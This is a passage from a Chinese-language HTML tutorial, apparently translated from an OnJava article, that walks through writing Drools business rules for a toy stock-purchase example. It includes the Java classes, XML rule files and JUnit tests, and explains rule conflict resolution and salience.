stockName;<BR>&nbsp; }<BR>&nbsp; /**<BR>&nbsp;&nbsp; * @param stockName The stockName to set.<BR>&nbsp;&nbsp; */<BR>&nbsp; public void setStockName(String stockName) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.stockName = stockName;<BR>&nbsp; }<BR>&nbsp; /**<BR>&nbsp;&nbsp; * @return Returns the stockPrice.<BR>&nbsp;&nbsp; */<BR>&nbsp; public int getStockPrice() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return stockPrice;<BR>&nbsp; }<BR>&nbsp; /**<BR>&nbsp;&nbsp; * @param stockPrice The stockPrice to set.<BR>&nbsp;&nbsp; */<BR>&nbsp; public void setStockPrice(int stockPrice) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.stockPrice = stockPrice;<BR>&nbsp; }<BR>&nbsp; /**<BR>&nbsp;&nbsp; * @return Returns the stockQuantity.<BR>&nbsp;&nbsp; */<BR>&nbsp; public int getStockQuantity() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return stockQuantity;<BR>&nbsp; }<BR>&nbsp; /**<BR>&nbsp;&nbsp; * @param stockQuantity to set.<BR>&nbsp;&nbsp; */<BR>&nbsp; public void setStockQuantity(int stockQuantity){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.stockQuantity = stockQuantity;<BR>&nbsp; }<BR>&nbsp; /**<BR>&nbsp;&nbsp; * @return Returns the recommendPurchase.<BR>&nbsp;&nbsp; */<BR>&nbsp; public String getRecommendPurchase() {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return recommendPurchase;<BR>&nbsp; }<BR>}</EM></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 通过 IDE 的 JUnit 插件运行 BusinessRuleTest。如果你不熟悉 JUnit，可在 <A href="http://www.junit.org/"><FONT color=#000080>JUnit</FONT></A> 网站找到更多信息。不必惊讶，如图 2 所示第二个断言测试失败，这是因为还没把业务逻辑放在适当的地方。测试结果用高亮显示了模拟器/单元测试所出现的问题，这是很保险的。<BR><BR>&nbsp; <IMG height=325 alt="JUnit Test Results" src="http://www.onjava.com/onjava/2005/08/03/graphics/diagramA2.gif" width=390><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT size=2>图 2. JUnit 测试结果<BR></FONT>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR><FONT size=4><STRONG>用规则编写业务逻辑</STRONG></FONT><BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 在这里，我们要写一些业务逻辑，来表达“一旦股票价格低于 100 欧元，就马上购买。” 要达到这个目的，需调整 BusinessLayer.java：<BR>&nbsp;&nbsp;&nbsp; <BR><FONT color=#000080><EM>import java.io.IOException;<BR>import org.drools.DroolsException;<BR>import org.drools.RuleBase;<BR>import org.drools.WorkingMemory;<BR>import org.drools.event.DebugWorkingMemoryEventListener;<BR>import org.drools.io.RuleBaseLoader;<BR>import org.xml.sax.SAXException;<BR>/**<BR>&nbsp;* Facade for the Business Logic in our example.<BR>&nbsp;* <BR>&nbsp;* In this simple example, all our business logic<BR>&nbsp;* is contained in this class but in reality it <BR>&nbsp;* would delegate to other classes as required.<BR>&nbsp;* @author default<BR>&nbsp;*/<BR>public class BusinessLayer {<BR>&nbsp; //Name of the file containing the rules<BR>&nbsp; private static final String BUSINESS_RULE_FILE=<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "BusinessRules.drl";<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Internal handle to rule base<BR>&nbsp; private static RuleBase businessRules = null;<BR>&nbsp; /**<BR>&nbsp;&nbsp; * Load the business rules if we have not <BR>&nbsp;&nbsp; * already done so.<BR>&nbsp;&nbsp; * @throws Exception - normally we try to <BR>&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; recover from these<BR>&nbsp;&nbsp; */<BR>&nbsp; private static void loadRules()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws Exception{<BR>&nbsp;&nbsp;&nbsp; if (businessRules==null){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; businessRules = RuleBaseLoader.loadFromUrl(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BusinessLayer.class.getResource(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BUSINESS_RULE_FILE ) );<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp; }&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; /**<BR>&nbsp;&nbsp; * Evaluate whether or not to purchase stock.<BR>&nbsp;&nbsp; * @param stockToBuy<BR>&nbsp;&nbsp; * @return true if the recommendation is to buy<BR>&nbsp;&nbsp; * @throws Exception<BR>&nbsp;&nbsp; */<BR>&nbsp; public static void evaluateStockPurchase<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (StockOffer stockToBuy) throws Exception{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Ensure that the business rules are loaded<BR>&nbsp;&nbsp;&nbsp; loadRules();<BR>&nbsp;&nbsp;&nbsp; //Some logging of what is going on<BR>&nbsp;&nbsp;&nbsp; System.out.println( "FIRE RULES" );<BR>&nbsp;&nbsp;&nbsp; System.out.println( "----------" );<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Clear any state from previous runs <BR>&nbsp;&nbsp;&nbsp; WorkingMemory workingMemory <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = businessRules.newWorkingMemory();<BR>&nbsp;&nbsp;&nbsp; //Small ruleset, OK to add a debug listener <BR>&nbsp;&nbsp;&nbsp; workingMemory.addEventListener(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new DebugWorkingMemoryEventListener());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Let the rule engine know about the facts<BR>&nbsp;&nbsp;&nbsp; workingMemory.assertObject(stockToBuy);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Let the rule engine do its stuff!!<BR>&nbsp;&nbsp;&nbsp; workingMemory.fireAllRules();<BR>&nbsp; }<BR>}</EM></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 这个类有些重要方法：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; loadRules()，从 BusinessRules.drl 文件加载规则。<BR>&nbsp;&nbsp;&nbsp; 更新后的 evaluateStockPurchase()，用于评估业务规则。这个方法的注解如下：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以反复复用相同的 RuleSet（内存中的业务规则是无状态的）。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为每次评估构造新的 WorkingMemory，因为我们的知识知道这个时刻是正确的。使用 assertObject() 放置已知事实（作为 Java 对象）到内存中。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Drools 有个事件监听模式，允许我们“查看”事件模型中到底发生了什么。在这里我们用它打印 debug 信息。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; working memory 类中的 fireAllRules() 方法评估和更新规则（在本例中是股票出价）。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 再次运行该范例前，需要创建我们的 BusinessRules.drl 文件：<BR>&nbsp;&nbsp;&nbsp; <BR><FONT color=#000080><EM>&lt;?xml version="1.0"?&gt;<BR>&lt;rule-set name="BusinessRulesSample"<BR>&nbsp; xmlns="</EM></FONT><A href="http://drools.org/rules"><FONT color=#000080><EM>http://drools.org/rules</EM></FONT></A><FONT color=#000080><EM>"<BR>&nbsp; xmlns:java="</EM></FONT><A href="http://drools.org/semantics/java"><FONT color=#000080><EM>http://drools.org/semantics/java</EM></FONT></A><FONT color=#000080><EM>"<BR>&nbsp; xmlns:xs<BR>&nbsp;&nbsp;&nbsp; ="</EM></FONT><A href="http://www.w3.org/2001/XMLSchema-instance"><FONT color=#000080><EM>http://www.w3.org/2001/XMLSchema-instance</EM></FONT></A><FONT color=#000080><EM>"<BR>&nbsp; xs:schemaLocation<BR>&nbsp;&nbsp;&nbsp; ="</EM></FONT><A href="http://drools.org/rules"><FONT color=#000080><EM>http://drools.org/rules</EM></FONT></A><FONT color=#000080><EM> rules.xsd<BR>&nbsp; </EM></FONT><A href="http://drools.org/semantics/java"><FONT color=#000080><EM>http://drools.org/semantics/java</EM></FONT></A><FONT color=#000080><EM> java.xsd"&gt;<BR>&nbsp; &lt;!-- Import the Java Objects that we refer <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to in our rules --&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; &lt;java:import&gt;<BR>&nbsp;&nbsp;&nbsp; java.lang.Object<BR>&nbsp; &lt;/java:import&gt;<BR>&nbsp; &lt;java:import&gt;<BR>&nbsp;&nbsp;&nbsp; java.lang.String<BR>&nbsp; &lt;/java:import&gt;<BR>&nbsp; &lt;java:import&gt;<BR>&nbsp;&nbsp;&nbsp; net.firstpartners.rp.StockOffer<BR>&nbsp; &lt;/java:import&gt;<BR>&nbsp; &lt;!-- A Java (Utility) function we reference <BR>&nbsp;&nbsp;&nbsp; in our rules--&gt;&nbsp; <BR>&nbsp; &lt;java:functions&gt;<BR>&nbsp;&nbsp;&nbsp; public void printStock(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; net.firstpartners.rp.StockOffer stock)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println("Name:"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +stock.getStockName()<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +" Price: "+stock.getStockPrice()&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +" BUY:"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +stock.getRecommendPurchase());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp; &lt;/java:functions&gt;<BR>&lt;rule-set&gt;<BR>&nbsp; &lt;!-- Ensure stock price is not too high--&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; &lt;rule name="Stock Price Low Enough"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!-- Params to pass to business rule --&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;parameter identifier="stockOffer"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;class&gt;StockOffer&lt;/class&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/parameter&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!-- Conditions or 'Left Hand Side' <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (LHS) that must be met for <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; business rule to fire --&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!-- note markup --&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;java:condition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.getRecommendPurchase() == null<BR>&nbsp;&nbsp;&nbsp; &lt;/java:condition&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;java:condition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.getStockPrice() &lt; 100<BR>&nbsp;&nbsp;&nbsp; &lt;/java:condition&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!-- What happens when the business <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rule is activated --&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;java:consequence&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.setRecommendPurchase(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StockOffer.YES);&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printStock(stockOffer);<BR>&nbsp;&nbsp;&nbsp; &lt;/java:consequence&gt;<BR>&nbsp; &lt;/rule&gt;<BR>&lt;/rule-set&gt;</EM></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 该规则文件有些有趣部分：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 只有在 XML-Schema 定义 Java 对象之后，我们才能引用进规则。这些对象可以是来自于任何必须的 Java 类库。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 接下来是 functions，它们可以与标准 Java 代码进行混合。既然这样，我们干脆混入些日志功能来帮助我们观察发生了什么。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 再下来是我们的 rule set，rule set 由一到多个规则组成。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 每个规则可持有参数（StockOffer 类），并需要实现一个或多个条件，当条件符合时，将会执行相应结果。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 在修改和编译完代码后，再次运行 JUnit 测试。这次调用了业务规则，我们的逻辑进行正确地评估，并且测试通过，参看图 3。恭喜－－你已经构建了第一个基于规则的应用！<BR><BR>&nbsp;&nbsp;&nbsp; <IMG height=102 alt="Successful JUnit Test" src="http://www.onjava.com/onjava/2005/08/03/graphics/diagramA3.gif" width=393><BR>&nbsp;&nbsp;&nbsp; <FONT size=2>图 3.成功的 JUnit 测试</FONT><BR>&nbsp;&nbsp;&nbsp; <BR><FONT size=4><STRONG>使规则更聪明</STRONG></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 刚刚构建好应用，你就向业务用户示范上面的原型，他们却忽然想起先前并没有提出的规则。其中一个新规则是当数量是负数时（&lt;0）不能进行股票交易。“没关系，”你说，接着回到办公桌上，紧扣已有知识，快速演化你的系统。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 首先要更新模拟器，把以下代码添加到 BusinessRuleTest.java：<BR>&nbsp;&nbsp;&nbsp; <BR><FONT color=#000080><EM>&nbsp; /**<BR>&nbsp;&nbsp; * Tests the purchase of a stock <BR>&nbsp;&nbsp; * makes sure the system will not accept <BR>&nbsp;&nbsp; * negative numbers.<BR>&nbsp;&nbsp; */<BR>&nbsp; public void testNegativeStockBuy() <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throws Exception{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; //Create a Stock with our simulated values<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StockOffer testOffer = new StockOffer();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; testOffer.setStockName("MEGACORP");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; testOffer.setStockPrice(-22);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; testOffer.setStockQuantity(1000);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Run the rules on it<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BusinessLayer<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .evaluateStockPurchase(testOffer);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Is it what we expected?<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; assertTrue("NO".equals(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; testOffer.getRecommendPurchase()));<BR>}</EM></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 这个测试是为业务用户描述的新规则建立的。正如意料之中的，如果运行 JUnit 测试，我们的新测试将失败。所以，我们要添加新的规则到 .drl 文件：<BR>&nbsp;&nbsp;&nbsp; <BR><FONT color=#000080><EM>&lt;!-- Ensure that negative prices <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; are not accepted--&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; &lt;rule name="Stock Price Not Negative"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!-- Parameters we can pass into <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; the business rule --&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;parameter identifier="stockOffer"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;class&gt;StockOffer&lt;/class&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/parameter&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!-- Conditions or 'Left Hand Side' (LHS) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; that must be met for rule to fire --&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;java:condition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.getStockPrice() &lt; 0<BR>&nbsp;&nbsp;&nbsp; &lt;/java:condition&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!-- What happens when the business rule <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; is activated --&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;java:consequence&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.setRecommendPurchase(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StockOffer.NO);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printStock(stockOffer);<BR>&nbsp;&nbsp;&nbsp; &lt;/java:consequence&gt;<BR>&nbsp; &lt;/rule&gt;</EM></FONT></P>
<P>&nbsp;&nbsp;&nbsp; 这个规则的格式和前面的相似，除了 &lt;java:condition&gt;（用于测试负数）以及 &lt;java:consequence&gt; 用于设置推荐购买为 No 以外。我们再次运行测试，这次通过了。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 这时，如果你习惯于过程化编程（像大多数 Java 程序员一样），你也许要搔头皮了：在一个文件中包含两个独立的业务规则，而且我们也没告诉规则引擎哪个更重要。不管怎样，股票价格（对于 -22）都满足两个规则（也就是少于 0 和少于 100）。尽管这样，我们仍能得到正确结果，即使交换规则顺序。这是怎么做到的呢？<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 下面的控制台输出有助于我们了解到底怎么回事。我们看见两个规则都执行了（[activationfired] 这行），Recommend Buy 第一次被设置为 Yes 接着又被设置成 No。Drools 怎么知道执行这些规则的正确顺序呢？如果你观察 Stock Price Low Enough 规则，将发现 recommendPurchase() 其中一个条件为空。通过这点，Drools 规则引擎足以判断 Stock Price Low Enough 规则应该在 Stock Price Not Negative 规则之前执行。这个过程称为 conflict resolution。<BR>&nbsp;&nbsp;&nbsp; <BR><EM><FONT color=#000080>FIRE RULES<BR>----------<BR>[ConditionTested: rule=Stock Price Not Negative; <BR>&nbsp; condition=[Condition: stockOffer.getStockPrice() <BR>&nbsp; &lt; 0]; passed=true; tuple={[]}]<BR>[ActivationCreated: rule=Stock Price Not Negative; <BR>&nbsp; tuple={[]}]<BR>[ObjectAsserted: handle=[fid:2];<BR>&nbsp;&nbsp; </FONT></EM><A href="mailto:object=net.firstpartners.rp.StockOffer@16546ef"><EM><FONT color=#000080>object=net.firstpartners.rp.StockOffer@16546ef</FONT></EM></A><EM><FONT color=#000080>]<BR>[ActivationFired: rule=Stock Price Low Enough; <BR>&nbsp;&nbsp; tuple={[]}]<BR>[ActivationFired: rule=Stock Price Not Negative; <BR>&nbsp;&nbsp; tuple={[]}]<BR>Name:MEGACORP Price: -22 BUY:YES<BR>Name:MEGACORP Price: -22 BUY:NO</FONT></EM></P>
<P>&nbsp;&nbsp;&nbsp; 如果你是一名过程化程序员，无论你用怎样聪明的方式考虑这些，你都不会完全相信。这就是为什么要进行单元/模拟器测试的原因：进行 "坚固的" JUnit 测试（使用一般 Java 代码）确保规则引擎所作出的决定是按照我们所想要的路线进行。（不会花费大量金钱在无价值的股票上）同时，规则引擎的强大和伸缩性允许我们快速开发业务逻辑。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 稍后，我们将学习如何用更加精练的解决方案进行冲突处理。<BR>&nbsp;&nbsp;&nbsp; <BR><STRONG><FONT size=4>冲突结局方案</FONT></STRONG></P>
<P>&nbsp;&nbsp;&nbsp; 现在业务伙伴被打动了，并且开始考虑进行选择了。随即他们遇到了个 XYZ 公司股票的问题，那么我们来实现新规则吧：只有 XYZ 公司股票低于 10 欧元才可购买。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 像以前一样，添加测试到模拟器，接着在规则文件中包含新业务规则。首先在 BusinessRuleTest.java 中添加新方法：<BR>&nbsp;&nbsp;&nbsp; <BR><EM><FONT color=#000080>&nbsp;/**<BR>&nbsp;* Makes sure the system will buy stocks <BR>&nbsp;* of XYZ corp only if it really cheap<BR>&nbsp;*/<BR>public void testXYZStockBuy() throws Exception{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Create a Stock with our simulated values<BR>&nbsp; StockOffer testOfferLow = new StockOffer();<BR>&nbsp; StockOffer testOfferHigh = new StockOffer();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; testOfferLow.setStockName("XYZ");<BR>&nbsp; testOfferLow.setStockPrice(9);<BR>&nbsp; testOfferLow.setStockQuantity(1000);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; testOfferHigh.setStockName("XYZ");<BR>&nbsp; testOfferHigh.setStockPrice(11);<BR>&nbsp; testOfferHigh.setStockQuantity(1000);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Run the rules on it and test<BR>&nbsp; BusinessLayer.evaluateStockPurchase(<BR>&nbsp;&nbsp;&nbsp; testOfferLow);<BR>&nbsp; assertTrue("YES".equals(<BR>&nbsp;&nbsp;&nbsp; testOfferLow.getRecommendPurchase()));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; BusinessLayer.evaluateStockPurchase(<BR>&nbsp;&nbsp;&nbsp; testOfferHigh);<BR>&nbsp; assertTrue("NO".equals(<BR>&nbsp;&nbsp;&nbsp; testOfferHigh.getRecommendPurchase()));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>}</FONT></EM></P>
<P>&nbsp;&nbsp;&nbsp; 接下来向 BusinessRules.drl 中添加新 &lt;rule&gt;：<BR>&nbsp;&nbsp;&nbsp; <BR><EM><FONT color=#000080>&nbsp; &lt;rule name="XYZCorp" salience="-1"&gt;<BR>&nbsp;&nbsp; &lt;!-- Parameters we pass to rule --&gt;<BR>&nbsp;&nbsp; &lt;parameter identifier="stockOffer"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;class&gt;StockOffer&lt;/class&gt;<BR>&nbsp;&nbsp; &lt;/parameter&gt;<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; &lt;java:condition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.getStockName().equals("XYZ")<BR>&nbsp;&nbsp; &lt;/java:condition&gt; <BR>&nbsp;&nbsp; &lt;java:condition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.getRecommendPurchase() == null<BR>&nbsp;&nbsp; &lt;/java:condition&gt;<BR>&nbsp;&nbsp; &lt;java:condition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.getStockPrice() &gt; 10<BR>&nbsp;&nbsp; &lt;/java:condition&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp; &lt;!-- What happens when the business 